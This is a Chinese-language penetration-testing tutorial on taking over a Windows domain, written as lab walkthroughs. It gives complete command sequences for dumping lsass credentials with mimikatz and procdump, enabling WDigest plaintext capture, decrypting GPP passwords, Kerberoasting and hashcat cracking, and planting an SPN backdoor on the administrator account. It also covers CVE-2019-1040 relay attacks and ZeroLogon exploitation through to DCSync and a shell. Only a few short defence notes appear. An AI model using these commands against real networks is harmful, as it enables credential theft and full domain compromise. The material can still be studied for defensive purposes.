内网域渗透之常用提权
高权限读取本地密码
当域管理员在域成员主机上登录进行工作时,会将明文密码或哈希保存在本地 lsass.exe
进程中,可以通过mimikatz来读取到本地的明文密码。
privilege::debug # 提权
sekurlsa::logonpasswords
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt
procdump+mimikatz
如果主机存在杀软,上传的 mimikatz很多时候都会被杀掉,可以通过procdump+mimikatz的方式 进行绕过。
- 使用procdump导出lsass.exe
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump是微软官方的工具
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
对于NT 6以上可以直接使用windwos自带的功能进行dump:
任务管理器—进程—显示所有用户进程—找到lsass(Local Security Authority Process)—右键“创建转储文件”
- 保存到本地,通过mimikatz读取lsass.dmp的数据
如果目标主机是 windows server 2012及以上的系统,通过添加注册表,再通过例如锁屏、注销或重启等操作,让管理员重新登录及可以读取明文。
添加注册表,设置设置UseLogonCredential设置为1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
SYSVOL组策略获取密码
在域控环境中,有个默认的共享路径
\\<domain>\SYSVOL\<domain>\
SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有 用户都能访问这个共享文件。
- 访问SYSVOL共享文件夹,搜索包含“cpassword”的XML文件,获取AES加密的密码。
在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本登录才有这个文件。
创建组策略后,创建 \\only.com\SYSVOL\only.com\Policies\{CE710A28-3FB8-4365-B356-41A30B5E9014}\User\Preferences\Groups\gpoups.xml
文件,打开文件可以看到存储的cpassword密码。
密码是通过AES-256加密的,但是微软发布了AES的私钥。
- 利用kali自带的 gpp-decrypt进行破解
- 防御
1.打补丁KB2962486
2.删除SYSVOL目录下的groups.xml
3.设置共享文件SYSVOL的权限
Kerberoasting
Kerberoasting攻击是Tim Medin在DerbyCon 2014 上发布的一种域口令攻击方法,Tim Medin同时发布了 配套的攻击工具kerberoast。此后,不少研究人员对Ker beroasting进行了改进和扩展,在GitHub上开发发布了 大量工具,使得Kerberoasting逐渐发展成为域攻击的常用方法之一。
基础知识
Kerberos协议认证
kerberos协议的认证授权过程,3次涉及使用不同账户的NTLM作为密钥加密数据。
- 使用域用户的NTLM加密认证请求票据
- KDC使用Krbtgt账号的NTLM加密认证后的票据TGT
- KDC使用运行服务的服务账号的NTLM加密授权票据TGS
当发布Windows 2000和Active Directory时,微软打算在 Windows NT 和Windows 95 上也支持Active Directory,这意味着不仅会产生各种各样的安全问题也会导致更多不安全的配置方式。同时,也意味着,微软要保证在多个不同版本的 Windows 客户端上均支持Kerberos协议。
要实现这个想法的一个简单的办法就是在Kerberos协议中使用RC4加密算法·,并将NTLM密码哈希作为该加密算法的私钥,该私钥可用于加密或签名Kerberos票证。因此,对于攻击者来说,一旦发现了 NTLM 密码哈希,就可以随意使用,包括重新拿回Active Directory域权限(比如:黄金票证和白银票证攻击)。
SPN服务主体名称
SPN,全称Service Principal Names
,SPN是服务器上所运行服务的唯一标识,每个要使用Kerberos认证的服务都需要一个SPN。
SPN分为两种,一种注册在AD上机器账户(Computers)
下,另一种注册在域用户账户(Users)
下
当一个服务的权限为Local System
或Network Service
,则SPN注册在机器帐户(Computers)下
当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下
- SPN格式
serviceclass/host:port/servicename
serviceclass:可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
host:有两种形式,FQDN和NetBIOS名,例如client.only.com和client
如果服务运行在默认端口上,则端口号(port)可以省略
查询SPN
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测。
- 使用 setspn
windows7和server2008默认自带工具
查看当前域内所有SPN
setspn.exe -q */*
setspn.exe -T only -q */* #指定域控
Kerberosating原理
当域管理员配置Kerberos使用公开的对称加密算法时
y = f (x,key)
f为已知的对称加密算法 ,如RC4-HMAC-MD5
x为待加密的数据,包含时间戳,其他为固定格式的内容,
key为加密密钥,即NTLM
y为加密后的数据
如果能在Kerberos认证过程中获取到加密后的数据,则可以根据Kerberos使用的已知的对称加密算法,使用不同的对称加密算法推算破解出未被加密的数据,从而判定使用的是否为要寻找的口令。
查找SPN服务账号的原因
在域内中主要有 主机账号、用户账号、服务账号
等3种主要账号类型
- 主机账号的口令由系统随机设置,几乎不能破解,而且每30天自动变更一次用户账号的口令复杂度由策略而定,在复杂度要求较高的域内,破解难度较大。
- 服务账号的口令存在很大的特殊性,口令在应用软件安装时往往自动设定,复杂度往往较为简单口令几乎不会更改,因为大部分应用软件没有提供修改服务账号的功能和接口,例如运行MS SQL Server 服务的sqlsvc账号等
- SPN存在于账号的属性中,因此可以通过查询所有账号的属性,遍历域内所有SPN服务。因为主机账号的口令几乎不能破解,所以只查询用户账号的SPN。
攻击利用
- 攻击前提
- 对于认证过程中返回的TGS,在已知加密算法的前提下,我们可以直接尝试穷举口令。(服务密码大多是默认弱密码)
- 可以查询到服务和服务实例账户的对应关系
- 控制的域内用户可以向域内的任何服务请求TGS
获取高价值SPN
使用PowerView
Import-Module .\PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
使用kerberosast工具包
[kerberosast工具包](GitHub - nidem/kerberoast)
posershell:https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
vbs:https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
cscript GetuserSPNs.vbs
请求TGS
- 请求指定TGS
$SPNName = 'mysql/win10.only.com:3306'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
- 请求所有TGS
Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
导出凭据
mimikatz.exe "kerberos::list" /export
破解
使用kerberoast工具包的 tgsrepcrakc.py
脚本枚举
./tgsrepcrack.py wordlist.txt 1-40a10000-admin@mysql~win10.only.com~3306-ONLY.COM.kirbi
如果此服务是域控用户注册的,就可以得到域用户的明文密码
攻击利用二
自动实现,并且不需要使用mimikatz导出票据,普通用户权限即可
使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken
请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解
- 在域内任意普通主机上以普通用户权限执行:
Invoke-Kerberoast -OutputFormat Hashcat
#只提取出hash参数
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
- 使用hashcat破解
hashcat -m 13100 ./hash.txt 。/password.list -o found.txt --force
后门利用
在我们取得了SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令
- 例如为域管理员
administrator
添加SPNVNC/dc.only.com
setspn.exe -U -A vnc/dc.only.com administrator
之后能在域内任意一台主机都能获取该SPN,并且能够使用Kerberoast获得TGS,并使用hashcat破解。
防御
Kerberoasting攻击的主要前提是口令复杂度较低、 加密算法强度较弱
对抗Kerberoasting攻击也需从这2方面开展:
- 提高服务账号的口令复杂度;
- 尽量将域内的服务器系统升级至少至Windows 2008 系统,应用AES256高难度的加密算法.
内网协议NTLM之内网大杀器CVE-2019-1040漏洞
CVE-2019-1040漏洞的攻击链目前已经确定的两种攻击途径,一个是攻击域Exchange Server,第二个是攻击域AD Server
Kerberos委派
使用任何AD帐户,通过SMB连接到目标服务器,并触发SpoolService错误。目标服务器将通过SMB回连至攻击者主机,使用ntlmrelayx将SMB身份验证中继到LDAP。使用中继的LDAP身份验证,将目标服务器的基于资源的约束委派权限授予攻击者控制下的计算机帐户。攻击者作为受害者服务器上的任何用户进行身份验证。
参考链接:结合CVE-2019-1040漏洞的两种域提权深度利用分析 - FreeBuf网络安全行业门户
实验环境
角色 | 系统版本 | 计算机名 | 地址 | 域 |
---|---|---|---|---|
攻击者 | Linux kali | kali | 192.168.10.3 | |
主域控 | windows server 2012R2 | dc | 192.168.10.11 | only.com |
辅助域控 | windows server 2012R2 | sdc | 192.168.10.8 | only.com |
攻击者kali需要将本地DNS服务器,更改为域控,否则无法访问
- 安装配置辅助域控制器
参考方法:Windows Server 2012 R2 辅助域控制器搭建 (mamicode.com)
利用场景一
假设当我们在做横向中拿下了一台域内普通主机权限,并在主机中拿到了普通域用户 admin
用户的权限,利用 admin用户创建了一个计算机用户
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount test
- 执行impacket工具包的ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议
python3 ntlmrelayx.py -t ldap://dc.only.com -smb2support --remove-mic --delegate-access --escalate-user test\$ -debug
--delegate-access 选项将中继计算机帐户(这里即辅助域控制器)的访问权限委托给kali
--escalate-user 设置test主机用户的资源委派
--remove-mic 最重要的参数可以去除mic验证。
- 攻击机对辅助域控制器(SDC)执行printerbug.py脚本
下载地址:GitHub - dirkjanm/krbrelayx: Kerberos unconstrained delegation abuse toolkit
python3 printerbug.py only.com/admin:Qwer1234@sdc.only.com 192.168.10.3
- printerbug.py脚本执行成功后,将触发辅助域控制器(SDC)回连kali主机,回连使用的认证用户是辅助域控制器(SDC)本地计算机账户ONLY/SDC$。 ntlmrelayx.py通过ldap将该用户账户中继到域控服务器(DC),该本地计算机账户不具有修改ACL权限,但是可以通过此身份修改约束委派授权,授予--escalate-user指定的test$对受害计算机(辅助域控制器)的委派权限。
- 获取服务票据
使用getST.py脚本,发起 test$到 sdc 的S4U请求,通过 -impersonate
参数模拟用户administrator并获取票据。
python3 getST.py only.com/test\$:Qwer1234 -spn cifs/sdc.only.com -impersonate administrator
- 接着导入票据到本地就可以访问辅助域控制器了
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k sdc.only.com
可以直接使用secretsdump.py脚本dump出所有密码哈希值
python3 secretsdump.py -k -no-pass sdc.only.com -just-dc-user administrator
python3 secretsdump.py -k -no-pass sdc.only.com -just-dc-ntlm
利用场景二
我们也可以通过直接通过ldaps来添加机器用户来达到配置委派。这个需要域控制器添加到ldaps的证书才能连接ldaps。
环境搭建
- 安装配置域控制器,同时开启LDAPS支持,因为该攻击方式需要添加新的计算机账户,必须在LDAPS进行
开启方法:为 Microsoft Active Directory 服务器启用 LDAP over SSL (LDAPS)。·GitHub
下面创建自签名证书,可以替换为在实际供应商购买的证书
- 首先使用OpenSSL,创建新的私钥和根证书。适当回答国家/州/组织的问题,并且密码需要配置
openssl genrsa -aes256 -out ca.key 4096
openssl req -new -x509 -days 3650 -key ca.key -out ca.crt
- 接着把创建好的ca.crt根证书放到DC上面, WIN+R 打开运行输入MMC 接着添加到证书进入,首先根节点添加证书选项
- 把根证书导入,需要导入到受信任的根证书颁发机构
- 创建一个用于 LDAPS 的客户端证书,该证书是根据我们生成的根证书进行签名的
创建一个 request.inf
的文件,内容:
[Version]
Signature="$Windows NT$"
[NewRequest]
Subject = "CN=dc.only.com" #替换为活动目录服务器的限定域名
KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = TRUE
SMIME = FALSE
PrivateKeyArchive = FALSE
UserProtected = FALSE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
KeyUsage = 0xa0
[EnhancedKeyUsageExtension]
OID = 1.3.6.1.5.5.7.3.1 ; Server Authentication
- 域控中运行以下命令以创建客户端证书请求
certreq -new request.inf client.csr
-
接着回到具有openssl的环境
创建一个v3ext.txt,文本内容如下:
keyUsage=digitalSignature,keyEncipherment extendedKeyUsage=serverAuth subjectKeyIdentifier=hash
-
根据client.csr使用根证书签发域控制器的计算机证书client.crt,并且检测是否正确
openssl x509 \
-req -days 3650 \
-in client.csr -CA ca.crt -CAkey ca.key -extfile v3ext.txt \
-set_serial 01 -out client.crt
// 检测证书是否正确
openssl x509 -in client.crt -text
- 将签发后的
client.crt
放到域控制器中,执行命令导入证书
certreq -accept client.crt
- 重新加载SSL证书
创建一个文件 ,文件的内容如下:
dn:
changetype: modify
add: renewServerCertificate
renewServerCertificate: 1
-
运行命令
ldifde -i -f ldap-renewservercert.txt
攻击利用
- 和场景一利用差不多,但是使用 ntlmrelayx.py脚本进行中继时,就不需要使用
--escalate-user
参数了,会通过连接ldaps来添加机器用户,并且设置委派来进行攻击
python3 ntlmrelayx.py -t ldaps://dc.only.com -smb2support --remove-mic --delegate-access
- kali 对 SDC执行printerbug.py脚本
python3 printerbug.py only.com/admin:Qwer1234@sdc.only.com 192.168.10.3
- printerbug.py脚本执行成功后,将触发辅助域控制器(SDC)回连 kali主机,回连使用的认证用户是辅助域控制器(SDC)本地计算机账户ONLY/SDC$。 ntlmrelayx.py通过ldaps将该用户账户中继到域控服务器(DC),因为这种攻击方式下所冒用的身份ONLY/SDC$并不在Exchange Windows Permissions组内,不具有修改ACL权限,但是可以通过此身份在DC上添加一个新计算机账户(下图中DSCDIHOE$), 并修改其约束委派授权,授予它对受害计算机(辅助域控制器)的委派权限。
- 接着就可以使用getST.py脚本,使用-impersonate参数模拟用户administrator请求其票证然后导入票据即可成功攻破到辅助域控制器中成功登录进入到辅助域控制器里面。
python3 getST.py 'only.com/DSCDIHOE\$:0*+T`*Y9GnqVM{8' -spn cifs/sdc.only.com -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k sdc.only.com
攻击Exchange
实验环境
角色 | 系统版本 | 计算机名 | 地址 | 域 |
---|---|---|---|---|
攻击者 | Linux kali | kali | 192.168.10.3 | |
主域控 | windows server 2012R2 | dc | 192.168.10.11 | only.com |
Exchange | windows server 2012R2 | exc | 192.168.10.12 | only.com |
用户测试的普通域用户:admin
安装配置 Exchange Server参考:Exchange Server 2013 一步步安装图解 - 霖雨 - 博客园 (cnblogs.com)
攻击利用
-
执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中
--remove-mic选项用于清除MIC标志,--escalate-user用于提升指定用户权限。
python3 ntlmrelayx.py -t ldap://dc.only.com -smb2support --remove-mic --escalate-user admin
- 执行执行printerbug.py脚本,触发SpoolService的bug
python3 printerbug.py only.com/admin:Qwer1234@exc.only.com 192.168.10.3
- SpoolService的bug导致Exchange服务器回连到ntlmrelayx.py,即将认证信息发送到ntlmrelayx.py。可以在下图中看到认证用户是ONLY/EXC$。
- 接着ntlmrelayx.py开始执行LDAP攻击,加上-debug选项后可以看到更详细的信息。 首先,通过遍历验证中继帐户所在用户组及权限,发现当前账户可以创建用户、可以修改only.com域的ACL,因为域中的Exchange Windows Permissions用户组被允许修改ACL,如下图所示:
该用户组下的成员正是中继的计算机账户EXC$
:
因此脚本会首选ACL来提权,因为这相比
Kerberos委派
创建用户的方式更隐秘一些。具体方式是通过LDAP修改域的安全描述符(Security Descriptor)
- 脚本修改ACL后将授予admin用户DCSync权限, 就可以通过secretsdump.py的DCSync功能dump出所有密码哈希值
python3 secretsdump.py only.com/admin@only.com -just-dc
CVE-2020-1472-ZeroLogon
这是近几年windows上比较重量级别的一个漏洞。通过该漏洞,攻击者只需能够访问域控的445端口,在无需任何凭据的情况下(可以在域外)能拿到域管的权限。该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码,从而以域控的身份进行Dcsync获取域管权限。这个漏洞的完整利用需要域控开启135和445端口。
漏洞利用成功后是把域控这个机器用户的密码置为空,与域管的密码无关。
漏洞原理分析参考:CVE-2020-1472漏洞分析 - FreeBuf网络安全行业门户
漏洞复现
- 漏洞验证
下载地址:GitHub - SecuraBV/CVE-2020-1472:CVE-2020-1472 测试工具
python3 ./zerologon_tester.py dc 192.168.10.11
- 漏洞利用
下载地址:GitHub - dirkjanm/CVE-2020-1472:Zerologon的PoC - 所有研究学分都归Secura的Tom Tervoort所有
更改域控制器帐户的密码,将置空DC域控的密码
python3 cve-2020-1472-exploit.py dc 192.168.10.11
- 无需密码进行DCSync
python3 secretsdump.py only.com/dc\$@192.168.10.11 -no-pass
可以看到域控 dc
主机账号密码已被置空(Hash:31d6cfe0d16ae931b73c59d7e0c089c0)
- 获取shell
同步获取到HASH后,可以利用wmiexec.py登录,从而获取一个shell
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:91ff0fb948167eb4d080b5330686c02f only/administrator@192.168.10.11
恢复域控
在攻击过程中,将机器的密码置为空,这一步是会导致域控脱域的。其本质原因是由于机器用户在AD中的密码(存储在ntds.dic)与本地的注册表lsass里面的密码不一致导致的。所以要将其恢复,将AD中的密码与注册表lsass里面的密码保持一致。
像服务器一样,DC拥有一个带有密码的机器帐户,该帐户以加密方式存储在注册表中。引导时将其加载到lsass中。如果使用Zerologon更改密码,则仅AD中的密码会更改,而不是注册表或lsass中的密码。利用后每当发出新的Kerberos票证时,DC无法使用lsass中的机器帐户密码来解密服务票证,并且无法使用Kerberos中断身份验证。
- 导出注册表并下载到本地
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
- 获取导出的HASH
python3 secretsdump.py -sam sam.save -system system.save -security security.save
LOCAL
- 恢复HASH
下载地址:GitHub - risksense/zerologon: Exploit for zerologon cve-2020-1472
python3 reinstall_original_pw.py dc 192.168.10.11 c5541711fbe66d8966ca2fa36011ed6a
- 简单方法
在域控中执行
powershell Reset-ComputerMachinePassword
- 查看是否恢复
python3 secretsdump.py only/dc\$@192.168.10.11 -no-pass
- 对比恢复前后Hash
漏洞利用前
漏洞利用后
Hash恢复后